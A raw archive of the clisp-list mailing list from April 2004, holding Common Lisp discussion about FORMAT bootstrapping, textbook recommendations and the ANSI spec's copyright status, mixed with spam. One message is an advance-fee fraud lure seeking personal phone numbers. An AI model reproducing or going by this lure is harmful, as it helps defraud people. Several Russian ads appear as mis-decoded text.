Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 0.8 MSGID_FROM_MTA_HEADER Message-Id was added by a relay Subject: [clisp-list] Important Notice (KMM641201V52810L0KM) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Apr 3 20:29:02 2004 X-Original-Date: Sat, 03 Apr 2004 20:27:54 -0800 Dear Valued Customer, This is an automated response to your email. Thank you for contacting AMD's Technical Service Center. In an effort to combat the increasingly large number of unsolicited emails (spam) we have been receiving while maintaining a high level of service to you, we are implementing a new method for contacting us, as well as providing additional options for support: Our newest program allows customers to assist each other in our Processor Support Forums. You can find excellent information that may help answer many of your questions by viewing previous customer questions (postings), searching for relevant information, or posting your own question to the online community. You can find our Support Forums at: http://forums.amd.com?ref=auto_email In addition to our Processor Support Forums, we also have an online knowledgebase called Ask AMD. Ask AMD is filled with easily searchable solutions to most inquiries. Visit http://ask.amd.com and choose the appropriate product line to begin. If you are unable to find the information you need in Ask AMD, you can send a direct email to the Technical Service Center - just click on the "Send Email" link within the appropriate product area and complete the short form. Lastly, you can resend your email to hw.support@amd.com, including the words "OPEN ISSUE" in the subject line. This will route your email directly to our agents who will provide a response typically within two business days. - IMPORTANT: The words "OPEN ISSUE" must be in the subject line, otherwise your email will be automatically identified as spam and removed from our system. Also, be sure to include your ORIGINAL INQUIRY, as any previous emails may have been deleted from our system. Thank you for your understanding and cooperation. We are confident that these options will allow us to better serve you as our valued AMD customer. Respectfully, AMD Technical Service Center From ronan@thomasons.org Mon Apr 05 12:45:22 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BAa26-0007pm-MF for clisp-list@lists.sourceforge.net; Mon, 05 Apr 2004 12:45:22 -0700 Received: from ce087183.user.veloxzone.com.br ([200.217.87.183] helo=ixbt.com) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.30) id 1BAa23-00053F-Hd for clisp-list@lists.sourceforge.net; Mon, 05 Apr 2004 12:45:21 -0700 From: ronan@thomasons.org To: Clisp-list References: In-Reply-To: Message-ID: <3H78A17D9066CE98@thomasons.org> MIME-Version: 1.0 Content-Type: text/plain; charset=Windows-1251 Content-Transfer-Encoding: 8bit X-Spam-Score: 3.8 (+++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 0.6 SUBJ_ALL_CAPS Subject is all capitals 2.7 SUBJ_ILLEGAL_CHARS Subject contains too many raw illegal characters 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] I0S -SI -86 Àíãëèéñêèé ñ ïðåïîäàâàòåëÿìè èç ÑØÀ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 5 12:46:04 2004 X-Original-Date: Mon, 05 Apr 2004 19:41:40 +0000 Ïðèâåò! Êàê äåëà? Ïðåäëàãàåì ëó÷øóþ ñèñòåìó èçó÷åíèÿ àíãëèéñêîãî ÿçûêà. Ó íàñ ó÷èëèñü âëàäåëüöû è ðóêîâîäèòåëè êðóïíåéøèõ êîìïàíèé Ðîññèè - Alfa-Bank, Lukoil è ò.ï., à òàê æå èíîôèðì Audi, IBM, C-Boss, SGS, Êîìóñ, Intermark ò.ï. è èõ ðàáîòíèêè. Îäíèì ñëîâîì - ïîëîâèíà Ìîñêâû çà 9 ëåò. Ìû ïîâåðíåì òâîþ æèçíü ê ëó÷øåìó - ó íàñ âåñåëî! Ïóñòü ýòî ñòàíåò òâîèì íîâûì õîááè. Çàéäè íà ñàéò www.amercenterpub.info , ïîñìîòðè, ïîçâîíè IO5-5I86 è èçó÷è ÍÀÊÎÍÅÖ-ÒÎ ! àíãëèéñêèé. From sds@gnu.org Mon Apr 05 14:06:37 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BAWrG-0002m9-Hb for clisp-list@lists.sourceforge.net; Mon, 05 Apr 2004 09:21:58 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BAWrG-0005rD-3U for clisp-list@lists.sourceforge.net; Mon, 05 Apr 2004 09:21:58 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i35GLmwc008136; Mon, 5 Apr 2004 12:21:48 -0400 (EDT) To: clisp-list@lists.sourceforge.net, roland.kaufmann@space.at Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200403301959.i2UJxTI23530@rosalind.space.at> (roland kaufmann's message of "Tue, 30 Mar 2004 21:59:29 +0200 (MEST)") References: <200403301959.i2UJxTI23530@rosalind.space.at> Mail-Followup-To: clisp-list@lists.sourceforge.net, roland.kaufmann@space.at Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: FORMAT ~G is fine Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 5 14:07:10 2004 X-Original-Date: Mon, 05 Apr 2004 12:21:48 -0400 > * [2004-03-30 21:59:29 +0200]: > > I suppose that > (WARN "~a: redefining ~a ~s in ~a, was defined in ~a" > "DEFUN/DEFMACRO" > "function" GLOBAL-IN-FENV-P > #P"/home/kau/3/src/clisp-2.33/src/compiler.lisp" "top-level") > should yield something like > > DEFUN/DEFMACRO: redefining function GLOBAL-IN-FENV-P in > #P"/home/kau/3/src/clisp-2.33/src/compiler.lisp", was defined in top-level > shouldn't it? this is due to bootstrapping (until format is available, we just print the arguments) -- Sam Steingold (http://www.podval.org/~sds) running w2k An elephant is a mouse with an operating system. From dokaamrufu@rediffmail.com Tue Apr 06 08:08:31 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BAsBj-0007dq-Ev for clisp-list@lists.sourceforge.net; Tue, 06 Apr 2004 08:08:31 -0700 Received: from [81.199.108.9] (helo=rediffmail.com) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.30) id 1BAsBf-0002ux-GI for clisp-list@lists.sourceforge.net; Tue, 06 Apr 2004 08:08:31 -0700 From: "Doka Amrufu" To: Mime-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Reply-To: "Doka Amrufu" Content-Transfer-Encoding: 8bit Message-ID: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 LINES_OF_YELLING BODY: A WHOLE LINE OF YELLING DETECTED Subject: [clisp-list] GOOD DAY Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 6 08:09:03 2004 X-Original-Date: Tue, 6 Apr 2004 17:08:03 +0200 TOP OF THE DAY TO YOU My name is Doka Amrufu(ACCOUNTANT) I am a Friend to Mr. Charles Taylor( Former president to Liberia) who you all know that is in asylum now in Calabar and was forced to leave his presidency in Liberia. I am helping him to Move forty Million dol lars in cash, I need your help in moving the money out of the country. This money is legal and I will give you 10% for your effort and assistance. "You would have to travel to get this done". If you are interested contact me and I will give you all the full details, 1- The security Company Where the Money Is 2- Phone Number for confirmation, 3- All documents needed for easy collection . A Trust agreement will be written and signed before any funds are moved. Please leave your private telephone and fax number and I will get back to you as soon as possible. And also you can send me an email to my private email:dokaamrufu@telstra.com I look forward to hearing from you. Regards. Doka Amrufu. doka_amrufu@rediffmail.com From angle@hotbox.ru Wed Apr 07 04:00:39 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BBAnP-0006wW-4G for clisp-list@lists.sourceforge.net; Wed, 07 Apr 2004 04:00:39 -0700 Received: from www5.hotbox.ru ([80.68.244.8]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1BBAnO-0000E9-Pi for clisp-list@lists.sourceforge.net; Wed, 07 Apr 2004 04:00:38 -0700 Received: by HotBOX.Ru WebMail v2.1 id i37B0LOD077445 for ; Message-Id: <200404071100.i37B0LOD077445@www5.hotbox.ru> From: Zoja To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Free WebMail HotBOX.ru X-Originating-IP: [81.7.115.214] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] 'success story' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 7 04:01:05 2004 X-Original-Date: Wed, 7 Apr 2004 15:00:21 +0400 (MSD) I want to study this language to be able to work with it. From ric_n_cerq@iol.pt Wed Apr 07 09:55:47 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BBGL4-0007SN-SD for clisp-list@lists.sourceforge.net; Wed, 07 Apr 2004 09:55:46 -0700 Received: from [195.245.128.201] (helo=fatima.at.isp) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BBGL4-00037J-FD for clisp-list@lists.sourceforge.net; Wed, 07 Apr 2004 09:55:46 -0700 Received: from iol.pt ([213.58.96.72]) by fatima.at.isp with Microsoft SMTPSVC(5.0.2195.6713); Wed, 7 Apr 2004 17:55:31 +0100 Message-ID: <4074328F.8030709@iol.pt> From: Ricardo User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 07 Apr 2004 16:55:32.0509 (UTC) FILETIME=[239EC4D0:01C41CC1] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] common lisp book Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 7 09:56:14 2004 X-Original-Date: Wed, 07 Apr 2004 17:55:43 +0100 Hi, i'm trying to learn Common Lisp and i'm trying to find a good book for that purpose, i've encountered "Common Lisp The Language 2nd edition" of 1989, my doubt is, will the contents of this book work with Common Lisp 2.33(since the book is a bit old)? Thanks in advance. Ricardo From sds@gnu.org Wed Apr 07 10:07:19 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BBGWE-0001g8-PH for clisp-list@lists.sourceforge.net; Wed, 07 Apr 2004 10:07:18 -0700 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BBGWE-00009V-DT for clisp-list@lists.sourceforge.net; Wed, 07 Apr 2004 10:07:18 -0700 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1BBGWC-00006y-00; Wed, 07 Apr 2004 13:07:16 -0400 To: clisp-list@lists.sourceforge.net, Ricardo Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <4074328F.8030709@iol.pt> (Ricardo's message of "Wed, 07 Apr 2004 17:55:43 +0100") References: <4074328F.8030709@iol.pt> Mail-Followup-To: clisp-list@lists.sourceforge.net, Ricardo Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: common lisp book Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 7 10:08:09 2004 X-Original-Date: Wed, 07 Apr 2004 13:07:16 -0400 > * Ricardo [2004-04-07 17:55:43 +0100]: > > Hi, i'm trying to learn Common Lisp and i'm trying to find a good book > for that purpose, i've encountered "Common Lisp The Language 2nd > edition" of 1989, my doubt is, will the contents of this book work > with Common Lisp 2.33(since the book is a bit old)? CLISP implements ANSI CL, which is slightly different from the language described in CLtL2 (which is not suitable as a textbook anyway). I recommend "ANSI Common Lisp" by Paul Graham as the textbook and the CLHS as the on-line reference. -- Sam Steingold (http://www.podval.org/~sds) running w2k Abandon all hope, all ye who press Enter. From gms@sdf.lonestar.org Wed Apr 07 10:24:42 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BBGn3-0005ee-1Y for clisp-list@lists.sourceforge.net; Wed, 07 Apr 2004 10:24:41 -0700 Received: from ol.freeshell.org ([192.94.73.20] helo=sdf.lonestar.org ident=root) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BBGn2-0006e6-IH for clisp-list@lists.sourceforge.net; Wed, 07 Apr 2004 10:24:40 -0700 Received: from sdf.lonestar.org (IDENT:gms@otaku.freeshell.org [192.94.73.2]) by sdf.lonestar.org (8.12.10/8.12.10) with ESMTP id i37HOL9l018329 for ; Wed, 7 Apr 2004 17:24:21 GMT Received: (from gms@localhost) by sdf.lonestar.org (8.12.10/8.12.8/Submit) id i37HOLQo013603; Wed, 7 Apr 2004 17:24:21 GMT Message-Id: <200404071724.i37HOLQo013603@sdf.lonestar.org> From: Gene Michael Stover To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Wed, 07 Apr 2004 13:07:16 -0400) Subject: Re: [clisp-list] Re: common lisp book References: <4074328F.8030709@iol.pt> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 7 10:25:03 2004 X-Original-Date: Wed, 7 Apr 2004 17:24:21 GMT Ricardo, I add my recommendation to what Sam said (Graham's "ANSI Common Lisp"). Paul Graham has a personal web site, & you can get a pointer there to where you can order the book, if I remember right. (Google for "Paul Graham".) gene Reply-to: clisp-list@lists.sourceforge.net Mail-Copies-To: never From: Sam Steingold Mail-Followup-To: clisp-list@lists.sourceforge.net, Ricardo X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net X-Original-Date: Wed, 07 Apr 2004 13:07:16 -0400 Date: Wed, 07 Apr 2004 13:07:16 -0400 > * Ricardo [2004-04-07 17:55:43 +0100]: > > Hi, i'm trying to learn Common Lisp and i'm trying to find a good book > for that purpose, i've encountered "Common Lisp The Language 2nd > edition" of 1989, my doubt is, will the contents of this book work > with Common Lisp 2.33(since the book is a bit old)? CLISP implements ANSI CL, which is slightly different from the language described in CLtL2 (which is not suitable as a textbook anyway). I recommend "ANSI Common Lisp" by Paul Graham as the textbook and the CLHS as the on-line reference. -- Sam Steingold (http://www.podval.org/~sds) running w2k Abandon all hope, all ye who press Enter. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ clisp-list mailing list clisp-list@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/clisp-list From maryann@t-online.de Thu Apr 08 07:16:49 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BBaKn-0000Ws-2U for clisp-list@lists.sourceforge.net; Thu, 08 Apr 2004 07:16:49 -0700 Received: from [202.129.58.171] (helo=202.129.58.171) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.30) id 1BBaKi-0000ml-Vl for clisp-list@lists.sourceforge.net; Thu, 08 Apr 2004 07:16:47 -0700 From: michael To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=Windows-1251 Content-Transfer-Encoding: 8bit Message-ID: X-Spam-Score: 0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 RCVD_NUMERIC_HELO Received: contains a numeric HELO 0.6 DATE_IN_PAST_06_12 Date: is 6 to 12 hours before Received: date Subject: [clisp-list] =?Windows-1251?B?1ejy8O7x8ugg5ebl5O3l4u3u4+4g8PPq7uLu5PHy4uA=?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Apr 8 07:17:11 2004 X-Original-Date: Thu, 08 Apr 2004 08:08:39 +0000 Óâàæàåìûå ãîñïîäà! 15 àïðåëÿ ñîñòîèòñÿ îäíîäíåâíûé òðåíèíã ïî òåìå : «Õèòðîñòè åæåäíåâíîãî ðóêîâîäñòâà». Öåëü ìåðîïðèÿòèÿ: îöåíèòü ñòèëü ðóêîâîäñòâà êàæäîãî ó÷àñòíèêà, íàó÷èòü êîððåêòèðîâàòü ñòèëü ðóêîâîäñòâà â çàâèñèìîñòè îò õàðàêòåðà ïîä÷èíåííîãî è ðåøàåìîé çàäà÷è. Ó÷àñòíèêè ìåðîïðèÿòèÿ ñìîãóò èçìåíÿÿ ñâîå ïîâåäåíèå, ïîâûñèòü ãîòîâíîñòü ïîä÷èíåííûõ ê ðåøåíèþ áîëåå ñëîæíûõ çàäà÷. Ïðîãðàììà ñåìèíàðà: • Âçàèìîñâÿçü áàçîâûõ ýëåìåíòîâ óïðàâëåíèÿ ïëàíèðîâàíèå. • Ìåòîäû ïðèìåíÿåìûå äëÿ ïîâûøåíèÿ óðîâíÿ ãîòîâíîñòè ñîòðóäíèêîâ ê ðåøåíèþ âîçíèêàþùèõ çàäà÷ • Êàê îïðåäåëÿòü óðîâåíü ãîòîâíîñòè ñîòðóäíèêà ê âûïîëíåíèþ êîíêðåòíîé çàäà÷è • Êàê ðåøàòü âîïðîñû, ñâÿçàííûå ñî ñíèæåíèåì ýôôåêòèâíîñòè äåÿòåëüíîñòè ñîòðóäíèêîâ. • Êàê âûáèðàòü ñòèëü ðóêîâîäñòâà, ïîäõîäÿùèé äëÿ êîíêðåòíîãî ñîòðóäíèêà â ñëîæèâøåéñÿ ñèòóàöèè. ñòîèìîñòü ó÷àñòèÿ â ìàñòåð-êëàññå - 3900 ðóáëåé, â ò.÷. ÍÄÑ. Ôîðìà îïëàòû ëþáàÿ (íàëè÷íàÿ èëè áåçíàëè÷íàÿ).  ñòîèìîñòü âõîäèò: ó÷àñòèå â ðàáîòå ãðóïïû,èíôîðìàöèîííûå ïå÷àòíûå ìàòåðèàëû êîôå-ïàóçà, îáåä. Ìàñòåð-êëàññ ïðîõîäèò â Ìîñêâå (ì. Àêàäåìè÷åñêàÿ).Íà÷àëî - â 10 ÷àñîâ è îêîí÷àíèå - â 17.30 - 18.00. Äëÿ ó÷àñòèÿ â ñåìèíàðå íåîáõîäèìî ðåãèñòðèðîâàòüñÿ. Åñëè Âàøå ó÷àñòèå â ìåðîïðèÿòèè íåâîçìîæíî ìû ïðåäëàãàåì Âàì ïðèîáðåñòè âèäåîçàïèñü ýòîãî è äðóãèõ ìàñòåð-êëàññîâ.Ê âèäåîìàòåðèàëàì ïðèëàãàåòñÿ èíôîðìàöèîííûå ìàòåðèàëû ïîäãîòîâëåííûå àâòîðîì. Ñòîèìîñòü âèäåîìàòåðèàëû – 2600 ðóá. ñ ó÷åòîì ÍÄÑ Ïðè ó÷àñòèè â ìåðîïðèÿòèè èëè ïðèîáðåòåíèè ìàòåðèàëîâ íà âèäåî ìû îáåñïå÷èâàåì ñòàíäàðòíûé ïàêåò äîêóìåíòîâ äëÿ áóõãàëòåðèè. (095) 207-26-21 è (095) 789-81-90 From sem_post@metabyte.com Thu Apr 08 12:17:29 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BBf1l-0002yN-9r for clisp-list@lists.sourceforge.net; Thu, 08 Apr 2004 12:17:29 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1BBf1l-0002iA-3W for clisp-list@lists.sourceforge.net; Thu, 08 Apr 2004 12:17:29 -0700 Received: from h193n2fls33o1110.telia.com ([217.209.81.193] helo=ctu-degrees.com) by externalmx-1.sourceforge.net with smtp (Exim 4.30) id 1BBlaz-00028c-CG for clisp-list@lists.sourceforge.net; Thu, 08 Apr 2004 19:18:17 -0700 From: sem_post@metabyte.com To: Clisp-list References: <7HIBCEC3JC2IFDAB@lists.sourceforge.net> In-Reply-To: <7HIBCEC3JC2IFDAB@lists.sourceforge.net> Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=Windows-1251 Content-Transfer-Encoding: 8bit X-Spam-Score: 3.5 (+++) X-Spam-Report: Spam detection software, running on the system "externalmx-1.sourceforge.net", has identified this incoming email as possible spam. The original message has been attached to this so you can view it (if it isn't spam) or block similar future email. If you have any questions, see the administrator of that system for details. Content preview: www.amercenterpub.info Eglish for you! 995-82-41 Moscow [...] Content analysis details: (3.5 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 0.3 NO_REAL_NAME From: does not include a real name 0.6 DATE_IN_PAST_06_12 Date: is 6 to 12 hours before Received: date 2.7 SUBJ_ILLEGAL_CHARS Subject contains too many raw illegal characters X-Spam-Score: 2.9 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 2.7 SUBJ_ILLEGAL_CHARS Subject contains too many raw illegal characters Subject: [clisp-list] Òåìà 995-82-41 Moscow www.amercenterpub.info Eglish for you! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Apr 8 12:18:08 2004 X-Original-Date: Thu, 08 Apr 2004 19:17:45 +0000 www.amercenterpub.info Eglish for you! 995-82-41 Moscow From jcorneli@math.utexas.edu Thu Apr 08 20:14:06 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BBmSz-0000LU-U4 for clisp-list@lists.sourceforge.net; Thu, 08 Apr 2004 20:14:05 -0700 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BBmSz-0005Zq-Ju for clisp-list@lists.sourceforge.net; Thu, 08 Apr 2004 20:14:05 -0700 Received: from linux183.ma.utexas.edu (mail@linux183.ma.utexas.edu [146.6.139.172]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i393E5q17246; Thu, 8 Apr 2004 22:14:05 -0500 Received: from jcorneli by linux183.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1BBmSy-0007fu-00; Thu, 08 Apr 2004 22:14:04 -0500 To: clisp-list X-all-your-base-are-belong-to-us: You are on the way to destruction. Message-Id: From: Joe Corneli X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] CL docs (ftp://ftp.parc.xerox.com/pub/cl/) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Apr 8 20:20:05 2004 X-Original-Date: Thu, 08 Apr 2004 22:14:04 -0500 I have transfered my inquiries about the CL docs to PARC/Xerox, but I don't actually know who to get in touch with there. Anyone have any contact information for sympathetic folks working at PARC/Xerox. Or any leads about people there who might know something about legal issues? Or who I might ask? ------- Start of forwarded message ------- To: info@parc.com Subject: ftp://ftp.parc.xerox.com/pub/cl/ X-all-your-base-are-belong-to-us: You are on the way to destruction. From: Joe Corneli Date: Wed, 07 Apr 2004 22:51:53 -0500 X-Spam-Status: No, hits=0.2 required=5.5 tests=AWL,SPAM_PHRASE_01_02 version=2.43 X-Spam-Level: Hello - I heard from Kent Pitman that the draft of the ANSI Common Lisp spec you are hosting on your FTP site in is "supposed to be" in the Public Domain. Is there any chance you know whether the documents actually are in the public domain, or any more details about their copyright status? Or who I might ask? I wrote to the maintainer's address (found in the README file ftp://ftp.parc.xerox.com/PARCFTP-README) but my email bounced. Here is a little more info about why I'm interested in this stuff. I would like to use the documents, the latest version of which, as I understand it, are textually identical to the actual standard, to begin making online documentation for GNU CLISP, and perhaps other forms of documentation for other Lisp systems. If you can give me any more information I would appreciate it. Joe ------- End of forwarded message ------- From jcorneli@math.utexas.edu Thu Apr 08 20:59:13 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BBnAf-0007NM-PR for clisp-list@lists.sourceforge.net; Thu, 08 Apr 2004 20:59:13 -0700 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BBnAf-0000Jn-ES for 